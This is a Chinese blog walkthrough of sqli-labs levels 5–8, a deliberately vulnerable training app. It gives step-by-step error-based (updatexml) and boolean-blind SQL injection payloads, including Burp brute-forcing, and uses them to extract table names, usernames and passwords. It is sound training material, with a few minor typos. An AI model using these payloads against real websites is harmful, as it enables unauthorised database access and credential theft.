sqli-labs靶场 Pass05-08通关秘诀(详解版)

关卡(类型):特点

Less-5:(无回显----报错注入)

1.判断是否存在注入

?id=1' and 1=1 --+

?id=1' and 1=2 --+

页面显示错误,说明有SQL注入。

2.判断字段数量

order by 3 --+ 页面正常

order by 4 --+ 页面异常

3.判断回显位置

union select 1,2,3,4 --+

(无回显位置)

通过判断发现没有回显位置,但是有报错信息,那么即可利用报错注入。

4.爆出数据库名

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

5.爆破数据库下的表

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

拼接显示全部

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

因为报错注入一次只能显示一块数据,所以需要使用limit限制查询数量,或者使用group_concat拼接 。

6.查询表下字段名称

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema='security'),0x7e),1)--+

7.查询字段下数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

Less-6:(报错注入)

一、判断页面是否存在回显

1.输入正确参数:1 #页面正常

2.输入错误参数:1'

2.输入错误参数:1”

存在回显:’''1''” LIMIT 0,1'

去掉外面的单引号得到:”1''” LIMIT 0,1

由此可判断闭合为:”

二、构造bool语句判断是否存在SQL注入

1.输入:?id=1" and 1=1 --+

2.输入:?id=1" and 1=2 --+

由此判断存在SQL注入.

三、开始注入

1.使用order by判断字段数

(1)输入:?id=1" order by 3 --+

(2)输入:?id=1" order by 4 --+

判断出字段数为3。

2.使用union判断回显位置

(1)?id=-1") union select 1,2,3 --+ (联合查询需要前面的语句报错,所以id赋值为-1)

发现回显不出来,判断这是无回显的情况,但是发现报错C信息可以显示,所以我们使用报错注入。

(2)使用报错注入updatexml函数进行注入,构造语句查询用户名:

使用原理:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串) 。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值。

还可以利用floor()、extractvalue()等函数进行报错注入

还有几个right() 和 left() 和 substr() 这几个函数是指截取字符串。(在报错出注入中可以用到)

由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则但,是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

?id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

注:这里0x7e代表字符 '~' 

(3)构造语句爆出数据库表名:

?id=1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

可以看出数据库名是:security

(3)构造语句爆出数据库表名:

?id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+

可以看出数据库中的表有:emails、referers、uagents、users

可以看到报错信息中含有第一个表的名字,我们想要获取其他的只需要修改limit语句后面的语句就可以,例如查看第二个就输入语句limit 1,1,第三个输入语句limit 2,1,以此类推就可以。

最重要的是爆出users表中的信息

(4)构造语句爆出用户username:

?id=1" union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

(5)构造语句爆出password的数据:

?id=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

成功!!!

Less-7(布尔盲注)

一、判断注入点

1.打开环境,此关是导出文件字符型注入

2.id=1,id=1"都不报错,id=1'报错

加上注释--+   ?id=1' --+报错

?id=1’--+不报错,说明在'前有其他的符号,猜测括号,一个一个试,两个括号时无异常.

推测注入点:单引号+两个闭合

?Id = 1’)) --+

3.确认查询的字段数量。字段数为3

二、爆库名

先爆出数据库的名长度:(这里用>当然也可以)

(length(str)函数:返回字符串 str的长度)

(其余步骤和Less-05相同)

Less-8(布尔盲注):

一、判断页面是否存在回显

无回显,只有对错的判,可以选择布尔盲注。

二、构造语句判断是否存在

1.输入:

?id=1' and 1=1 --+

?id=1’ and 1=2 --+

说明存在注入点。

三、开始注入

1. 判断字段数量

?id=1' order by 3 --+

?id=1' order by 4 --+

3. 判断回显位置

?id=1' union select 1,2,3 --+

#无回显位置,无报错。

4. 判断数据库名长度

?id=1' and length(database())>10 --+

二分法:发现大于10报错,说明数据库名小于10,使用折中法发现大于5,说明长度大于5,最后判断结果为8

5. 判断数据库名称

知道数据库长度之后,我们可以利用ascii() strsub() 函数对数据库名进行截取判断ascii码是多少,最

终得到数据库名"ascii(substr(database(),1,1))>=115"通过不断的去更换截取的位置来判断出每一位

字母的ascii码,这里手工进行测试太慢,一般会使用到BurpStuie工具进行辅助。

?id=1’ and ascii(substr(database(),1,1))=’115’--+

使用Burp爆破

抓包,给substr的偏移量参数添加载荷,然后给ascii码添加载荷,选择集束炸弹模式;

Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围

结果按照顺序排序,接触ascii码得到数据库名为 security

6. 爆破表名

判断表得个数

?id=1' and (select count(table_name) from information_schema.tables where

table_schema='security') =4 --+

获取到数据库名之后继续进行注入,分别注入出各个表名得长度。

第一个表名:

?id=1' and length((select table_name from information_schema.tables where

table_schema='security' limit 0,1)) =6 --+

第二个表名:

?id=1' and length((select table_name from information_schema.tables where

table_schema='security' limit 1,1)) =8 --+

第三个表名:

?id=1' and length((select table_name from information_schema.tables where

table_schema='security' limit 2,1)) =7 --+

第四个表名:

?id=1' and length((select table_name from information_schema.tables where

table_schema='security' limit 3,1)) =5 --+

四个表名得长度分别为:6875

这里我们查询四个表名。

查询表得第一位字符得ascii码(可通过Burp爆破)

?id=1' and ascii(substr((select table_name from information_schema.tables where

table_schema='security' limit 3,1),1,1))=117 --+ 结果为117,然后依次改变截断位置。

查询表得第二位字符得ascii

?id=1' and ascii(substr((select table_name from information_schema.tables where

table_schema='security' limit 3,1),2,1))=117 --+ 结果为115,然后依次改变截断位置。

通过Burp爆破

通过排序解密表名为: users

7. 爆破users字段名

判断字段得个数

?id=1' and count((select column_name from information_schema.columns where

table_name='users' and table_schema='security' limit 0,1)) =3 --+

判断各个字段名长度

第一个字段长度

?id=1' and length((select column_name from information_schema.columns where

table_name='users' and table_schema='security' limit 0,1)) =3 --+

第二个字段长度

?id=1' and length((select column_name from information_schema.columns where

table_name='users' and table_schema='security' limit 1,1)) =8 --+

第三个字段长度

?id=1' and length((select column_name from information_schema.columns where

table_name='users' and table_schema='security' limit 2,1)) =8 --+

这里注意,渗透中我们一般会猜测username\admin\user字段,所以遇到长度差不多的,优先猜

测相近的;

8. 猜解字段名

知道了每个字段得长度,然后逐字猜解ASCII/字母即可。

猜解第二个字段得字段名

第一位

?id=1' and ascii(substr((select column_name from information_schema.columns where

table_name='users' and table_schema='security' limit 1,1),1,1)) =117 --+

通过Burp爆破剩余字段

排序解密得出第二个字段为 username

猜解第三个字段

同样的方法:

第一位

?id=1' and ascii(substr((select column_name from information_schema.columns where

table_name='users' and table_schema='security' limit 2,1),1,1)) =117 --+

9. 爆破字段下内容

获取字段下内容数量

?id=1' and (select count(username) from users limit 0,1)=12--+

获取第一个字段第一个内容长度

?id=1' and length((select username from users limit 0,1))=4--+

#username字段下第一个内容长度为4

获取第一个字段内容

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+

内容ascii码为68 = D

通过Burp爆破获取

Dump

更改索引循环前面步骤即可得到其他内容ascii。

(谢谢大家!欢迎提出批评和建议!你的支持是我持续更新的巨大动力!)

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值